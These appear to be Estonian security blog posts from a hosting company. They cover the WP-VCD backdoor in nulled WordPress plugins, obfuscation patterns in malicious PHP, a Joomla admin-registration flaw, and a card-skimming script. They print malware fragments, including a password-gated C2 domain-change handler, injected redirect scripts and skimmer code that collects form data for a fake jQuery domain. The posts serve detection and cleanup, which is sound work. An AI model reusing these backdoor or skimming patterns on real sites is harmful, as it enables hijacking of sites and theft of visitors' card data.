WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad

Kui sa kauba eest ei maksa, siis oled kaup sina ise. Või sinu arvuti. Või sinu veebileht.

Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.

Külastaja vaade

Toimub see kõik umbes nii:

  • külastaja saabub otsimootori kaudu veebilehele;
  • veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
  • kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
  • … ja avab uue brauserisaki, kus kuvatakse reklaami;
  • ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.

Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis laen[.]ee ja olybet[.]ee saite, esimeseks sammuks mõlemal puhul cobalten[.]com:

Veebiomaniku vaade

Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti class.plugin-modules.php või class.theme-modules.php nimelises failis, mis on lisatud “nullitud” (nulled) ehk sisuliselt piraaditud tasulisele pluginale või teemale:

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

Ääremärkus: kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.

Golce & Dabbana? Roolex? Sir! I haz very good price, only original fakes!

See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:

2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php
2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php
2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php
2018-04-08 14:43 - ./wp-includes/wp-vcd.php

Ehk siis /wp-includes/wp-vcd.php saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva /wp-includes/post.php algusesse … ning class.theme-modules.php tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.

Lisaks paigaldatakse kõigi leitud teemade functions.php faili kood, mis võimaldab edaspidi lihtsalt muuta command & control serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx'))
  {
$div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
      {
        case 'change_domain';
          if (isset($_REQUEST['newdomain']))

Edaspidi märkab vaid kahe faili muutumist:

2018-07-28 00:07 - ./wp-includes/wp-tmp.php

2018-07-19 11:41 - ./wp-includes/wp-feed.php

wp-tmp.php failis hoitakse koodi mida peremees veebis kuvada soovib, nt:

<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script>
<script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script>
<script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>

… ning wp-feed.php sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):

146.255.1xx.xxx
146.255.1xx.xxx
95.161.2xx.xxx
194.150.6x.xxx
146.255.1xx.xx

Ja kui siis veebi tuleb külastaja mõnest otsimootorist:

$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}

… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.

Kuidas kontrollida?

Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:

  • kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
  • ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
  • googelda oma domeeni, siirdu lehele
  • vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda

Loomulikult võib ka vaadata FTPga serverisse – kui leiad /wp-includes/wp-vcd.php faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.

Koristaja vaade

Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:

  1. leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi class.plugin-modules.php või class.theme-modules.php nimelist faili
  2. kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
  3. eemalda /wp-includes kataloogist wp-feed.php, wp-tmp.php ja wp-vcd.php; post.php algusest eemalda include käsk
  4. käi üle teema(de) functions.php failid ning eemalda nende algusest kahtlane kood
  5. vaata igaks juhuks ctimer.php abil ega mõnda muud faili näpitud ole
  6. turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning wp-config.php‘s olevad soolad
  7. … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)

Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).

Kuidas veebilehe koodist pahavara üles leida

Õpetame tuvastama mustkunstitrikke, mille abil pahavara autorid oma loomingut kodulehe koodi ära peidavad ja märkama seda, kui veebilehel on midagi viltu.

malware

Pahavara on mitmesugust, seda on nii erineva otstarbega kui ka erineva tehnilise teostusega. Kui nakatunud JavaScripti failid ründavad eelkõige lehekülje kasutajat, näiteks kasutaja krediitkaardiandmete varastamiseks, siis nakatunud või serverisse sokutatud php-failid on pigem hõivatud serveri ressursside kasutamisega. See oleks nii võrguühenduse kasutamine spämmi saatmiseks, arvutusvõimsuse kasutamine bitcoinide kaevandamiseks ja muud taolised tegevused.

Muidugi tegelevad ka serveris olevad pahavarad kohati andmete vargusega, kuid tavaliselt on massiliselt leviv pahavara siiski “rumal” ja mõeldud teostama mingit suhteliselt lihtsat tegevust. Eelkõige siis selle tõttu, et igasugune vargus eeldab täpsemat sihtimist, suvaliselt kõike maailmas salvestatut kokku kuhjata läheb kallimaks, kui potentsiaalne tulu. Krediitkaardi andmeid saab varastada ju ainult siis, kui saab eeldada, et need andmed võivad üldse eksisteerida, spämmi võib aga saata kasvõi nutipirnist või -röstrist. See muidugi ei tähenda, et andmeid või identiteete varastavat pahavara ei peaks kartma, muidugi peab, lihtsalt et kui mingi pahavara on serverisse jõudnud, siis suurema tõenäosusega on see just “rumalat” laadi. Rumal siinkohal tähendaks sellist pahavara, mis ei tea ega hooli keskkonnast, kuhu on sattunud, oluliseks on ainult selle poolt pakutav arvutusvõimsus jmt. ressurss.

Veebiressursi omanikena me samas taolist pahavara enda kodulehele ei taha. Krediitkaardi andmete vargus tähendab suurt plekki meie äritegevusele, spämmi saatmine omakorda võib tähendada, et meie kinnitus- ja muud kirjad klientidele ei jõua enam kohale, kuna kõik meie serverist tulev tembeldatakse kahtlase ajaloo tõttu automaatselt spämmiks. Bitcoini kaevandamine või DDoS-botnetis osalemine muudab meie kodulehe nii aeglaseks, et kliendid lähevad konkurendi juurde. Seega on selgelt meie huvides, et igasugune pahavara võimalikult kiirelt avastada ja eemaldada.

Tänapäeval on õnneks olemas mitmeid automaatseid vahendeid pahavara avastamiseks, kuid kohati võib olla vajalik ka käsitsi faile üle vaadata. Päris kõiki faile ei ole ilmselt mõtet selle jaoks läbi käia, peamiselt tasuks keskenduda nendele failidele, mida on hiljuti muudetud või mis on täitsa uued.

Muutmisaja järgi faile sorteerida saab kasvõi käsurealt, näiteks järgmise käsuga:

find . -printf "%T@ %Tc %p\n" | sort -rn

kuid sellest ei pruugi olla alati abi kuna pahavara võib proovida faili muutmisaega ära peita. Tavaliselt käib see nii, et pahavara otsib üles samas kaustas oleva kõige vanema faili ning määrab iseendale sama muutmisaja. Kuidas sellisest petmisest mööda saada, võib lugeda ühest varasemast postitusest.

Ütleme, et oleme nüüd leidnud serverist mõned php-failid, mida on hiljuti muudetud ja tahaksime kontrollida, et kas need on kahtlased või mitte. Vaatakski mõningaid mustreid, mis võivad viidata pahavara olemasolule.

1. Uued failid

Kui meie serverisse on installitud WordPress ning ühtäkki tekib wp-includes kausta uus php-fail (rakenduse seadistusest sõltuvalt ei pruugi php-faili laiend olla alati .php, see võib olla ka .inc vmt.), siis võib see olla märk kahtlasest tegevusest, kuna wp-includes kausta sisu peaks muutuma ainult WordPressi versiooni uuendamise käigus. Samas ei tähenda see veel 100% kindlusega pahavara olemasolu, süüdi võib olla hoopis mõni kehvavõitu plugin, mis ei järgi ettenähtud parimaid praktikaid.

2. Pikad koodiread

Tihti pakitakse ja obfuskeeritakse pahavara võimalikult kitsalt kokku, mis võib ka tähendada seda, et pahavara kood paigutatakse ühele või paarile reale koodifailis. PHP jaoks ei ole reavahetusi tarvis, seega võib koodirida olla ka megabaidi pikkusega. Samas inim-programmeerija jaoks on omane kasutada palju lühemaid ridu, näiteks 120 sümbolit vmt. kuna pikemat rida on lihtsalt keeruline hoomata. Seega kui ülejäänud kood kasutab lühikesi ridu, siis ülipikad read lühikeste vahel on kindlasti kahtlased.

3. Miksitud koodistiil

Vahel peidetakse (eelkõige kommertstarkvara puhul) rakenduse kood obfuskeerimise taha. St. et kood lastakse läbi automaatse süsteemi, mis näiteks muudab ära kõik muutujate ja funktsioonide nimed (uued nimed on lühikesed juhuslike sümbolite jadad), eemaldab kommentaarid, üleliigsed tühikud, reavahetused jmt. mille tulemusena muutub kood raskesti loetavaks. JavaScripti, HTML’i ja CSS puhul on see täiesti tavaline praktika ka tasuta tarkvara puhul, kuid seal ei kaitsta koodi mitte konkurendi silmade eest, vaid selline töötlemine tagab lühema koodi ja seega ka kiirema kodulehe ja väiksema ressursikulu – 200 kB JavaScripti laadimise asemel peab kasutaja brauser laadima võibolla ainult 120 kB.

Ühesõnaga, koodi obfuskeerimine on iseenesest levinud praktika, kuid see võib tekitada ka mõningaid kahtlusi. Näiteks serveri poolse koodi obfuskeerimine on siiski pigem haruldane ja võiks täiendavat huvi tekitada. Eriti kahtlane on selline olukord, kus failis olev kood on muidu niiöelda inimloetav, aga vahepeal on mingid koodiread, mis viitavad obfuskeerimisele (loetamatute nimedega muutujad ja funktsioonid, koodi “treppimise” puudumine). Samuti on kahtlane kui muidu on kood obfuskeeritud, aga siis on kuskil faili lõpus või alguses justnimelt loetav kood.

4. Base64 kasutamine

Base64-kodeeringu kasutamine on tegelikult üsna tavaline, sest see annab võimaluse edastada binaarset infot üle tavalise teksti. Base64 puhul võetakse suvaline binaarne väärtus (st. baitide jada) ja esitatakse seda kasutades 64 erinevat sümbolit, mille hulka kuuluvad suured ja väikesed ladina tähed, numbrid ja mõned kirjavahemärgid. Näiteks teksti “Veebi turvalisusel on ka äriline mõõde” base64-kodeeritud esitus näeb välja nii:

VmVlYmkgdHVydmFsaXN1c2VsIG9uIGthIMOkcmlsaW5lIG3DtcO1ZGU=

Siit peaks kohe näha olema ka põhjus, et miks pahavara base64 kodeeringut väga armastab – see muudab teksti inimsilmale loetamatuks. Arvuti jaoks ei ole väga vahet, et kas mingi tekst on esitatud tavaviisil või base64-kodeeringus, küsimus on lõpuks vaid bittide asetuses (base64-kodeering kasutab 24 bitise info salvestamiseks 4 baiti tavapärase 3 asemel).

Base64 ilmnemise tunnuseks on eelkõige pikad ja seosetud tekstiread, kus puuduvad tühikud (küll võivad olla reavahetused) ning mis tihti lõppevad ühe või rohkema võrdusmärgiga. Võrdusmärk teksti lõpus tähistab puuduvate bittide täidist (base64 minimaalne “sümboli” pikkus on 3 baiti ning kui sisendist jääb selle jaoks puudu, siis täidetakse puudu jääv osa võrdusmärkidega).

$_jmo12r_='VGhlIHBhcnRpY3VsYXIgY2hvaWNlIG9mIGNoYXJhY3RlcnMg
dG8gbWFrZSB1cCB0aGUgNjQgY2hhcmFjdGVycyByZXF1aXJlZCBmb3IgYmF
zZSB2YXJpZXMgYmV0d2VlbiBpbXBsZW1lbnRhdGlvbnMuIFRoZSBnZW5lch
...
lciB2YXJpYXRpb25zLCB1c3VhbGx5IGRlcml2ZWQgZnJvbSBCYXNlNjQsIH
oYXJlIHRoaXMgcHJvcGVydHkgYnV0IGRpZmZlciBpbiB0aGUgc3ltYm9scy
aG9zZW4gZm9yIHRoZSBsYXN0IHR3byB2YWx1ZXM7IGFuIGV4YW1wbGUggdH
aXMgVVRGLTcu==';

Meie peaksime otsima koodist base64_decode funktsiooni kasutamist, mis muudab base64-vormingus teksti tagasi esialgsele binaarkujule. Selle vastandfunktsioon base64_encode on pahavara puhul palju haruldasem, kuna kodeerimise töö on pahavara autor juba eelnevalt ära teinud, nüüd tuleks base64 lihtsalt lahti dekodeerida.

Kusjuures base64_decode funktsiooni olemasolu ei tähenda veel automaatselt pahavara, kuna seda võidakse kasutada ka täiesti legaalsetel eesmärkidel. Mida me peaksime pigem vaatama on funktsiooni sisend – kas meile on arusaadav, et mis see on ja kust see tuleb? Juhul kui sisendiks on muutuja, mille nimi on juhuslikest sümbolitest, siis on see kindlasti kahtlane. Samuti on kahtlane, kui dekodeeritav sisend on väga pikk, näiteks mitmeid kilobaite.

Alati ei kasuta pahavara base64 dekodeerimiseks base64_decode funktsiooni, kuna seda on suhteliselt kerge tuvastada. Selle asemel implementeeritakse mõnikord vastav algoritm ise, mis viibki meid järgmise punktini.

5. Bitioperatsioonid

Bitioperatsioonid võimaldavad manipuleerida baitides üksikute bittidega ja see on täpselt see, mida läheb vaja näiteks base64 dekodeerimise algoritmi jaoks. Kui me näeme, et koodis on funktsioon, mis käivitatakse base64-laadse sisendiga ja mis kasutab muu hulgas operaatoreid >>, << ja &, siis suure tõenäosusega on tegu just base64 dekodeerimisega.

Täiendavalt on ohu märgiks veel üks oluline bitioperatsioon, nimelt ^ ehk XOR.

6. XOR-krüpteerimine

XOR-šiffer on üks lihtsamaid viise andmete peitmiseks. Seda on lihtne implementeerida, see on väga kiire ja samas tõhus – kui võti on vähegi pikem, siis on algset teksti üsna raske taastada. Seega pole ime, et pahalased seda hea meelega kasutavad.

Vajalik on see tavaliselt pahavara koodi peitmiseks. Kood on failis teksti kujul olemas, kuid koodi tekst on XOR-krüpteeritud. Pahavara kood käivitub veebipäringu peale, mis dekrüpteerib peidetud koodi, kasutades päringus edastatud salavõtit. Juhul kui me ei suuda sellist päringut koos päringu andmetega maha logida (võti on reeglina POST päringu argumendina, seega tavaliselt seda ei logitagi), siis me pahavara koodi ka ise lahti ei saa. Selline meetod hoiab pahavara uinuvas oleks, iseenesest see midagi ei tee, me ei saa ka selle sisu vaadata, aga ründaja saab selle oma päringuga aktiveerida. Tüüpiliselt on see siis omane erinevatele botnetidele.

Kõige lühem XOR-šifri implementatsioon näeks välja järgmine ($code on pahavara lähtekood teksti kujul ja $secret on veebipäringuga edastatud salakood):

for($i = 0; $i < strlen($code); $i++)
  $code[$i] = ($code[$i] ^ $secret[$i % strlen($secret)]);

Sarnast koodi nähes võiks tekkida kahtlus, kas skript ei sisalda mitte pahavara.

Siit aga tekib kohe järgmine punkt, nimelt on vaja sellise teksti kujul salvestatud kood ju rakenduse koodina käima saada ja selles aitab meid eval.

7. eval koodi käivitamiseks

eval on üks jubedamaid PHP (ja ka muude keelte) võimalusi, kuna see lubab interpreteerida tavalist teksti programmikoodina. Kui ründaja leiab võimaluse anda ette mõnele koodis leiduvale eval käsule enda koostatud teksti, on see täiuslik tagauks – ründaja kood pannakse käima nii, nagu oleks see veebirakenduse enda osa. Tavaliselt küll sokutavad ründajad selle eval’i serverisse erinevate turvaaukude kaudu ise, sest küll hiljem jõuab mõelda, et mida selle abil üldse käivitada. Juba ainuksi eval’i esinemine koodifailis on seetõttu kahtlane.

Paraku aga on eval’il ka täiesti legitiimset kasutust ja seetõttu automaatselt neid faile, milles esineb eval, siiski pahavaraks pidada ei saa. Samas on võimalik kahtlast tegevust siiski tuvastada.

Kõige levinum viis eval’it eesmärgipäraselt kasutada, on kujul:

eval('$mingimuutuja=...')

Ühesõnaga, muutujale antakse mingisuguse serialiseerimise käigus koostatud koodi abil väärtus. Pahavara puhul näeb see tegevus välja reeglina hoopis teine, sisend tuleb mingist juhusliku nimega muutujast või koostöös base64_decode funktsiooniga kusagilt pikemast inimloetamatust tekstimassiivist:

eval(base64_decode('ZWNobyAiT2xlbiB2aWlydXMhIjs='));

või

eval($r['_weretwt_']);

Kui eval võtab oma sisendi POST päringust, mitte ei kasuta staatilist tekstiväärtust, siis see viitab kas webshell’ile või botnetile, kus ründaja saab kasutada oma kontrolli all olevaid masinaid sundida tegema seda, mida parasjagu vaja on.

8. Stringmuutujate kasutamine funktsioonidena

Kuigi täiesti lubatud ja kohati ka kasutatud, on stringimuutujate kasutamine funktsioonidena siiski pahavara tunnus. Siinkohal kehtib jälle rusikareegel – kui on aru saada, et millega tegu, siis tõenäoliselt ei ole pahavara, vastasel korral pigem on.

$r = "printf";
$z = 123;
$r($z); // funktsiooni nimi tuleb stringist

Lisapunktid tulevad selle eest, kui funktsiooni nimetus tuleb globaalsest skoobist, see on küll üsna pahavara moodi

$GLOBALS['seosetutekst']($sisend);

9. TCP ühendused

Viimaseks punktiks tooksin välja veel võrguühenduste avamise ning eriti UDP ühenduste loomise. Juhul kui meil on “tavaline” tarkvara, näiteks WordPress vms. siis ei ole sellel tarkvaral reeglina mitte mingisugust põhjust avada kuskile UDP ühendusi. Taustal seda muidugi võib toimuda, näiteks DNS nimepäringute käigus, aga koodis endas vastavaid funktsioone kasutada ei tohiks. UDP puhul võivad erandiks olla siiski logimoodulid, mis saadavad logikirjeid üle UDP, kuid see peaks siis olema muust koodist selgelt eraldatud.

Kui pahavara teeb avab TCP ühendusi portidesse 25, 465, 587, 2525, siis on tegu spämmi saatmisega. Portide 80 ja 443 kaudu postitatakse reeglina rämpskommentaare. Muude portide puhul võib arvata, et tegu on botneti C&C serveriga, kust käidakse endale uut “tegevust” küsimas.

Seega peaksime otsima koodist funktsioone fsockopen ja stream_socket_client. Loomulikult teeb ka tavaline tarkvara võrgupäringuid, kuid tavaliselt avatakse kindel veebiaadress kasutades curl API’t (levinud teek keerukate võrgupäringute tegemiseks), “toorete” ühenduste avamist tuleb ette palju harvem ja reeglina selgelt arusaadavas kontekstis, näiteks HTTP päringute tegemise klassi meetodites juhul kui curl näiteks puudub.

Kusjuures, pahavara kasutab ka ise hea meelega curli teeke, aga kuna curl ei ole kõikides serverites saadaval, siis tuleb paralleelselt implementeerida ka socketi põhised päringud.

Kokkuvõtteks

Üldiselt tasub koodi analüüsimisel otsida eelkõige anomaaliaid, st. stiilierinevusi ülejäänud koodist ning privilegeeritud funktsioonide (eval, fsockopen jne.) kasutamist. Ja jälle – rusikareegel – kui saame aru, mis toimub, siis suure tõenäosusega ei ole tegu pahavaraga, kui aga kasutatakse seosetuid ja juhuslikke muutujanimesid, andmed tuletatakse base64-kodeeritud tekstist, kasutatakse XOR krüpteeringut jne. siis suure tõenäosusega toimub midagi kahtlast. Arusaamise all pean silmas seda, et me ei pruugi loomulikult hoomata kõike seda mida kood teeb, aga see tundub vähemalt olevat loogilises kontekstis. Seega kui tegu on RSS voo parsimise klassiga, siis meetodite nimed kirjeldavad RSS vooga seotud toiminguid, näiteks $rss->get_feed_item(), aga mitte $KcyezF->grebuZ().

Kindlasti ei piirdu pahavara esinemise sümptomid ainult nende 9 punktiga ning osavamad pahavara loojad kasutavad mitmesuguseid võtteid oma tegevuse peitmiseks. Suurem osa pahavarast on ikkagi “rumal,” see on mõeldud täitma mingit kindlat ülesannet ja selle peitmisega pole väga vaeva nähtud, kuna see teeks arendamise aeglasemaks ning kasu oleks sellest vähe – pahavara otsimise ja eemaldamisega tegeleb kahjuks väga väike osa veebiressursside omanikest.

Iga vastutustundliku veebiomaniku kohta on lugematu hulk paikamata Joomlaid ja WordPresse, mida üle võtta ja isegi kui ühe veebi pealt teenib ründaja vaid sente, on see tegevus automaatne ning massiliselt skaleeruv, mis tasub pahavaraga tegelemise ründajale kindlasti ära. Seega läheb see probleem ajas ainult tõsisemaks ja mõistlikum oleks juba kohe praegu oma veebi korrasolekuga tegeleda, mitte jääda mõnd suuremat pauku ootama.

Veel üks tont: Joomla! 1.6.0 … 3.6.4 kriitiline turvauuendus

Turvaprobleem lubab kurjategijal lisada saidile administraatori-õigustes kasutajaid.

TÄIENDATUD: 27. oktoobri seisuga on veebis olemas täpsed kirjeldused kasutaja registreerimiseks admin-õigustes (huvilised saavad registreerimise osa läbimängu jälgida ka taikeelse video vahendusel). Öösel hakkasid tulema ka esimesed neis kirjeldatud mustrile vastavad päringug. Run, Forrest, run!

Halloween on sedapuhku varajane ja aastaid koodis vedelenud tondid käivad hoogsalt rahvast hirmutamas.

Tänase kolli toob meieni Joomla! arendaja Demis Palma (loe lähemalt:How I found a Joomla vulnerability), kellele veidi aega tagasi hakkas silma koodijupp, mis oli kahtlaselt sarnane kahes erinevas kasutajatega tegelevas kontrolleris. Arvatavasti oli koodi korrastatud ja unustatud vana versioon eemaldada, sellele pääseb aga vähese vaevaga ligi ja tulemuseks on võimalus registreerida kasutajaid ka saidis, kus see on omaniku poolt keelatud.

Demis’e väitel pärineb kood Joomla! 1.6 aegadest – aga versioonis alates 3.4.4 parandati üks varasem bugi, mille tulemusena unar-kood kasutatvaks muutus (hmm, kas see oli pahatahtlik bugfix?).

Niisiis saab paikamata 1.6…3.6.4 Joomla! puhul triviaalse trikiga ligi “surnud koodile” ja uusi kasutajaid registreerida. Isegi väikeste õigustega registreeritud kasutaja on aga täiendav turvarisk, sest kohati õnnestub teiste bugide tõttu tavakasutaja administraarotiks [käsi ei tõuse seda näpukat parandama] ülendada või siis kasutada ära mõne lisamooduli turva-auku, mis ei kontrolli nt faili üleslaadimisel üldse õigust seda teha.

Sedapuhku avastas aga konto loomise augu lappimisega tegelenud Davide Tampellini lisaks teise: liigsete õiguste andmine mille lühike selgitus ütleb, et “vigane andmete filtreerimine lubab registreerida kõrgemata õigustega kasutaja”. Kuigi täpsem selgitus ei ole hetkel turvakaalutlustel saadaval, võib selle kokku võtta nii:

Kui sa ei ole oma Joomla! saiti uuendanud, siis arvesta, et ilmselt tekivad peagi esimesed reaalsed ründed mis lubavad kellel tahes ennast administraatorina registreerida.

Nagu Sucuri eile õhtul teatas vaatasid nad muudatuse koodi üle, selgitasid välja võimalikud ründevektorid ja lisasid asjakohased reeglid oma Sucuri Firewall teenusele.

Mida siis teha?

  • kui sul on Joomla! paigaldatud meie Zone+ abil ja kõik uuendused lubatud, siis peaks sait olema uuendatud 3.6.5 peale – aga kuna paigaldamise järel tehtud muudatused võivad vahel uuendamist takistada, siis proovi Minu Zones Zone+ lehel vastava rakenduse juures Uuenda nuppu ja kui see ei aita, kirjuta meile info@zone.ee

joomla-update

  • kui sul on Zone+ abil paigaldatud varasem versioon ja lubatud väikesed uuendused (st tehakse 3.5.1›3.5.2, aga mitte 3.5.x›3.6.x uuendust) – või oled valinud käsitsi uuendamise – siis tuleks kindlasti sait ülalmainitud viisil kiiremas korras Joomla! 3.6.5 peale uuendada ja soovitavalt lubada kõik uuendused, seda saab teha pildil näha oleva Automaatsed uuendused valiku alt:

automaatsed-uuendused

  • kui sul on ise paigaldatud Joomla! – siis tuleks administraatorina sisse logida (enne, kui neid saab palju olema…) ning teha versioonile vastaval moel uuendus, seejärel (või enne) võib ka kirjutada info@zone.ee ja paluda meil olemasolev rakendus Zone+ alla importida ning lubada kõik uuendused, sest siis on edaspidi vähem põhjust paanikaks 🙂

Kui vajad Joomla! osas nõu või tahad uudistega kursis olla, siis Eesti Joomla! kommuuni leiad Eraser’ist.

Joomla! uuendamine Zone+ abil

Kuigi on võimalik uuendada ka 3.4.8 peale siis juhin tähelepanu, et erinevalt nt WordPress’ist ei tule Joomla! varasematele versioonidele enam turvapaikasid ja uuendada tuleks kindlasti 3.6.5 peale.

Joomla! uuendamine rakenduse enda vahenditega

Kui välja arvata vajadus korduvalt sisse logida, siis sujub ka see igati “next-next-next” meetodil.

Tuntud veebipoode nakatanud pahavara luubi all

Vaatame ühe häkitud veebipoe näitel, kuidas pahavara klientide krediitkaardi andmeid varastab. Kas ja kui suur probleem see kohalike veebipoodide jaoks üldse on?

Ilmselt ei jäänud kellelgi märkamata eelmise nädala uudis pahavaraga nakatunud ja seetõttu krediitkaardi andmeid varastavate kohalike veebipoodide kohta. Probleem on reaalne, veebipoed olid tõepoolest nakatunud krediitkaardinumbreid varastava pahavaraga, samas võimalik kahju – vähemalt kohalike veebipoodide klientide jaoks – on tõenäoliselt väike või täiesti olematu.

Et aru saada, milles üldse küsimus, võtame näitena ühe tuntud veebipoe, mis nakatus selle aasta veebruari alguses ja oli seda kuni eelmise nädalani. Mõne turvaaugu kaudu (tõenäoliselt shoplift) oli lisatud veebipoe templiidifaili JavaScripti koodiblokk, mis tõmmati seeläbi käima igal lehevaatamisel. Vaatamegi nüüd, et mida see konkreetne kood siis selles veebipoes teha üritas.

Rakenduse skoop on asetatud objekti nimega grelos_v sisse:

var grelos_v = {
  snd: null,
  Glink: 'https://jquery-cloud.net/code/jquery.min.js',
  ...
}

Esimese asjana märkame kohe huvitavat viidet jQuery teegi pihta. Iseenesest sellest polekski midagi erilist, aga siinkohal on tegu pettusega. Nimelt oli jquery-cloud.net pahavara serveeriv veebiserver, mis tänaseks on juba suletud. Taoline nimetus on valitud ainult juhusliku vaataja eksitamiseks, reaalselt jQuery teegiga siin midagi pistmist ei ole. Sündmustest ette rutates võib mainida, et tegu oli veebiaadressiga, kuhu pahavara saatis kasutaja kohta kogutud informatsiooni.

myid: (function (name) {
  var matches = document.cookie.match(new RegExp('(?:^|; )' ...
  return matches ? decodeURIComponent(matches[1]) : undefined;
})('setidd') || (function () {
  ...
  var myid = ms.getTime() + "-" + ...
  document.cookie = 'setidd=' + myid + '; path=/; expires=' ...;
  return myid;
})()

Järgmiseks paneb skript paika omaduse myid, millele loetakse väärtus brauseri küpsistest, kus kasutatud küpsise võtmeks on mittemidagiütlev setidd. Juhul kui sellist küpsist ei leita, genereeritakse uus väärtus, mis koosneb hetke ajast ja juhuslikust numbrist. Seda väärtust on hiljem vaja erinevate kasutajate andmete eraldamiseks.

base64_encode: function (data) {
  var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu...
  ...
  return enc;
}

Siin ei olegi mõtet pikemat midagi arutada, nimi ütleb kõik. Funktsioon võtab sisendiks mingi väärtuse ja tagastab selle base64 kodeeringus.

clk: function () {
  var inp = document.querySelectorAll(
    "input, select, textarea, checkbox, button");
  for (var i = 0; i < inp.length; i++) {
    ...
      grelos_v.snd += inp[i].name + '=' + inp[i].value + '&';
}

See on juba huvitavam funktsioon. Nimelt otsitakse lehelt üles kõik vormielemendid ning nende väärtustest koostatakse serialiseeritud string, mis näeb natukene välja nagu www-form-urlencoded väärtus, kuigi rangelt võttes see seda siiski pole.

send: function () {
 ...
}

Nüüd jõuame rakenduse tuumani ehk funktsioonini send(). Kuna see on kõige olulisem rakenduse osa, siis vaatame selle sisu veidi lähemalt

var btn = document.querySelectorAll(
  "a[href*='javascript:void(0)'],button, input, submit, .btn, .button"
);

Funktsiooni käivitumisel otsitakse lehelt üles kõik vormielemendid, mis võiksid olla nupud. Selle jaoks kõlbavad nii <button> elemendid, elemendid CSS klassiga .btn kui ka tavalised lingid, mis kuhugi ei vii.

for (var i = 0; i < btn.length; i++) {
  var b = btn[i];
  if (b.type != 'text' && b.type != 'select' && ...
    if (b.addEventListener) {
      b.addEventListener('click', grelos_v.clk, false);
 ...

Kui nupu-laadsed elemendid on lehelt üles leitud, võetakse need ükshaaval tsükliga ette ning kontrollitakse ega tegu ei ole mõne tavalise vormielemendiga, näiteks <select> või checkbox vmt. Juhul kui ei ole, siis eeldab rakendus, et tegu ongi nupuga ja lisab sellele väidetavale nupuelemendile uue ‘click’ sündmuse, mis käivitab juba eespool nimetatud clk() meetodi.

var frm = document.querySelectorAll('form');
  for (vari = 0; i < frm.length; i++) {
    if (frm[i].addEventListener) {
      frm[i].addEventListener('submit', grelos_v.clk, false);
  ...

